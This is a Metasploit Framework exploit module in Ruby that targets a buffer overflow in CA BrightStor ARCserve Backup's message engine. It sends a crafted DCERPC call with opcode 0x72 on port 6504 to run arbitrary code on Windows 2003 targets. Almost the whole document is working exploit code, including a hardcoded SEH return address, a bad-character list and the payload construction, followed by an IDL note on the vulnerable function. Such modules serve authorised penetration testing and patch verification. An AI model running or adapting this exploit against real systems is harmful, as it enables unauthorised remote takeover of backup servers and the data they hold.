CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow

`##  
# $Id: message_engine_72.rb 10547 2010-10-04 22:00:22Z mc $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'CA BrightStor ARCserve Message Engine 0x72 Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in Computer Associates BrightStor ARCserve Backup  
11.1 - 11.5 SP2. By sending a specially crafted RPC request, an attacker could overflow  
the buffer and execute arbitrary code.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 10547 $',  
'References' =>  
[  
[ 'URL', 'http://www.metasploit.com/users/mc' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 600,  
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'BrightStor ARCserve r11.5/Windows 2003', { 'Ret' => 0x2380ceb5 } ],  
],  
'DisclosureDate' => 'Oct 4 2010',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(6504)], self.class)  
end  
  
def exploit  
  
connect  
  
handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])  
print_status("Binding to #{handle} ...")  
  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
  
sploit = NDR.string(rand_text_english(760) + generate_seh_payload(target.ret) + "\x00") + NDR.long(0)  
  
print_status("Trying target #{target.name}...")  
  
begin  
dcerpc_call(0x72, sploit)  
rescue Rex::Proto::DCERPC::Exceptions::NoResponse  
end  
  
handler  
disconnect  
  
end  
  
end  
=begin  
/* opcode: 0x72, address: 0x28E893D0 */  
  
short sub_28E893D0 (  
[in] handle_t arg_1,  
[in][ref][string] char * arg_2,  
[in, out][ref] long * arg_3  
);  
=end  
`